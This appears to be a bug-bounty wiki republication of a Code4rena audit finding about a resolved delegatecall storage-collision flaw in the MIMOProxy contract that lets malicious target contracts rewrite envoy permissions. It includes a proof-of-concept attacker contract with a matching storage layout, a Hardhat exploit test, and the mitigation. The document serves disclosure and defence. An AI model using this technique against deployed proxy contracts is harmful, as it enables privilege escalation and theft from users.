Malicious targets can manipulate MIMOProxy permissions
The MIMOProxy contract stored envoy permissions in its own storage, so a malicious target contract called via delegatecall could overwrite those permissions. An attacker with an authorized envoy could grant themselves or others additional permissions.
Originally disclosed on Code4rena
*Submitted by horsefacts, also found by ayeslick, cccz, peritoflores, teddav, and vlad_bochok*
[https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L21-L24](https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L21-L24)
[https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L55-L64](https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L55-L64)
### Vulnerability Details
The `MIMOProxy` contract stores per-caller, per-target, per-selector permissions in a nested internal mapping.
[`MIMOProxy.sol#L21`](https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L21-L24):
```
/// INTERNAL STORAGE ///
/// @notice Maps envoys to target contracts to function selectors to boolean flags.
mapping(address => mapping(address => mapping(bytes4 => bool))) internal _permissions;
```
If the caller of `execute` is an authorized “envoy” with the right permissions, they are allowed to `delegatecall` from the `MIMOProxy` instance.
[`MIMOProxy.sol#L55`](https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L55-L64):
```
// Check that the caller is either the owner or an envoy.
if (owner != msg.sender) {
bytes4 selector;
assembly {
selector := calldataload(data.offset)
}
if (!_permissions[msg.sender][target][selector]) {
revert CustomErrors.EXECUTION_NOT_AUTHORIZED(owner, msg.sender, target, selector);
}
}
```
However, although these permissions are stored in an internal mapping, a malicious (or malfunctioning) target contract with the same or overlapping storage layout may manipulate envoy permissions. Malicious target contracts may use this method to grant themselves additional permissions or authorize other envoys and targets.
Note that `MIMOProxy` defends against similar attempts to change the contract `owner` by [storing the current owner address](https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L72-L73) before executing `delegatecall` and [checking that it has not changed](https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L81-L84) after. However, due to the nature of Solidity mappings, and the nestedness of the permissions mapping, it’s not feasible to perform the same check for envoy permissions.
### Impact
An authorized envoy + malicious target may intentionally modify or accidentally overwrite envoy permissions. Malicious target contracts may attempt to trick users into escalating privileges using this method.
### Recommended Mitigation Steps
This is a tough one, but if the addresses of Mimo-authorized target contracts are known, consider maintaining and consulting an external registry to further constrain envoys and prevent them from calling target contracts that are not known Mimo modules:
```
ITargetRegistry immutable targetRegistry;
function getPermission(
address envoy,
address target,
bytes4 selector
) external view override returns (bool) {
return _permissions[envoy][target][selector] && targetRegistry.isAuthorized(target);
}
```
#### Test cases
We’ll use this `ProxyAttacks` helper contract to manipulate proxy storage. Note that it has the same storage layout as `MIMOProxy`.
```
contract ProxyAttacks {
address public owner;
uint256 public minGasReserve;
mapping(address => mapping(address => mapping(bytes4 => bool))) internal _permissions;
// Selector 0x694bf8a2
function setPermission() external {
_permissions[address(1)][address(2)][0xdeadbeef] = true;
}
}
```
Then deploy the `ProxyAttacks` helper in a test environment and use `MIMOProxy` to `delegatecall` into it:
```
import chai, { expect } from 'chai';
import { solidity } from 'ethereum-waffle';
import { deployments, ethers } from 'hardhat';
import { MIMOProxy, MIMOProxyFactory, MIMOProxyRegistry, ProxyAttacks } from '../../typechain';
chai.use(solidity);
const setup = deployments.createFixture(async () => {
const { deploy } = deployments;
const [owner, attacker] = await ethers.getSigners();
await deploy("MIMOProxy", {
from: owner.address,
args: [],
});
const mimoProxyBase: MIMOProxy = await ethers.getContract("MIMOProxy");
await deploy("MIMOProxyFactory", {
from: owner.address,
args: [mimoProxyBase.address],
});
const mimoProxyFactory: MIMOProxyFactory = await ethers.getContract("MIMOProxyFactory");
await deploy("MIMOProxyRegistry", {
from: owner.address,
args: [mimoProxyFactory.address],
});
const mimoProxyRegistry: MIMOProxyRegistry = await ethers.getContract("MIMOProxyRegistry");
await deploy("ProxyAttacks", {
from: owner.address,
args: [],
});
const proxyAttacks: ProxyAttacks = await ethers.getContract("ProxyAttacks");
return {
owner,
attacker,
mimoProxyBase,
mimoProxyFactory,
mimoProxyRegistry,
proxyAttacks,
};
});
describe("Proxy attack tests", () => {
it("Permission manipulation by malicious target", async () => {
const { owner, mimoProxyRegistry, proxyAttacks } = await setup();
await mimoProxyRegistry.deploy();
const currentProxy = await mimoProxyRegistry.getCurrentProxy(owner.address);
const proxy = await ethers.getContractAt("MIMOProxy", currentProxy);
// Call setPermission on ProxyAttacks contract
await proxy.execute(proxyAttacks.address, "0x694bf8a2");
const envoy = "0x0000000000000000000000000000000000000001";
const target = "0x0000000000000000000000000000000000000002";
const selector = "0xdeadbeef";
// Proxy's permissions have been updated
expect(await proxy.getPermission(envoy, target, selector)).to.equal(true);
});
});
```
**[RayXpub (Mimo) acknowledged and commented](https://github.com/code-423n4/2022-08-mimo-findings/issues/161#issuecomment-1210524910):**
> We acknowledge that this could be an issue although it requires the user to approve a malicious contract to happen, and thus is functioning as was intended by the proxy design.
**[gzeoneth (judge) commented](https://github.com/code-423n4/2022-08-mimo-findings/issues/161#issuecomment-1221557634):**
> Grouping multiple issues related to delegate call storage here, judging as Med Risk since any malicious contract require user approval.
**horsefacts (warden) reviewed mitigation:**
> **Status:** �
Resolved
> **Finding:** Wardens identified that malicious target contracts could manipulate storage variables in `MIMOProxy`, including the contract’s `_initialized` and `_initializing` state variables and permissions granted to external “envoys.”
> **What changed:** The Mimo team have removed all storage variables from `MIMOProxy`:
>
>
>
> - The `MIMOProxy` contract is no longer `Initializable`, removing `_initialized` and `_initializing`.
> - Proxy owner is now stored in `MIMOProxyFactory`, removing `owner`.
> - Minimum gas reserve is now stored in `MIMOProxyFactory`, removing `minGasReserve`.
> - Permissions are now stored in a separate `MIMOProxyGuard` contract, removing the `_permissions` mapping.
> **Why it works:** Since `MIMOProxy` no longer includes any storage variables, they cannot be maliciously manipulated by `delegatecall` to target contracts.
---Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the proxy stored its permission mapping in the same storage that delegatecalled target contracts can write to, without a separate guard.
Impact
An authorized envoy plus a malicious target could modify or overwrite envoy permissions, potentially escalating privileges, though the user must approve the malicious contract.
What the attacker needed
User approves a malicious target contract; caller is an authorized envoy
The fix
The Mimo team removed all storage variables from MIMOProxy, moving owner, gas reserve, and permissions to separate contracts, so delegatecall cannot manipulate them.
How it was found
- Deploy the MIMOProxy and related contracts.
- Deploy a malicious helper contract with the same storage layout.
- Call the proxy's execute function targeting the helper contract.
- Observe that the proxy's permissions mapping has been updated.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A proxy contract lets users run code from other contracts in its own context, meaning the other code can change the proxy's stored data. Here, the proxy kept a list of who is allowed to do what in that same storage, so a bad target contract could rewrite the list. This could let someone gain permissions they should not have.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.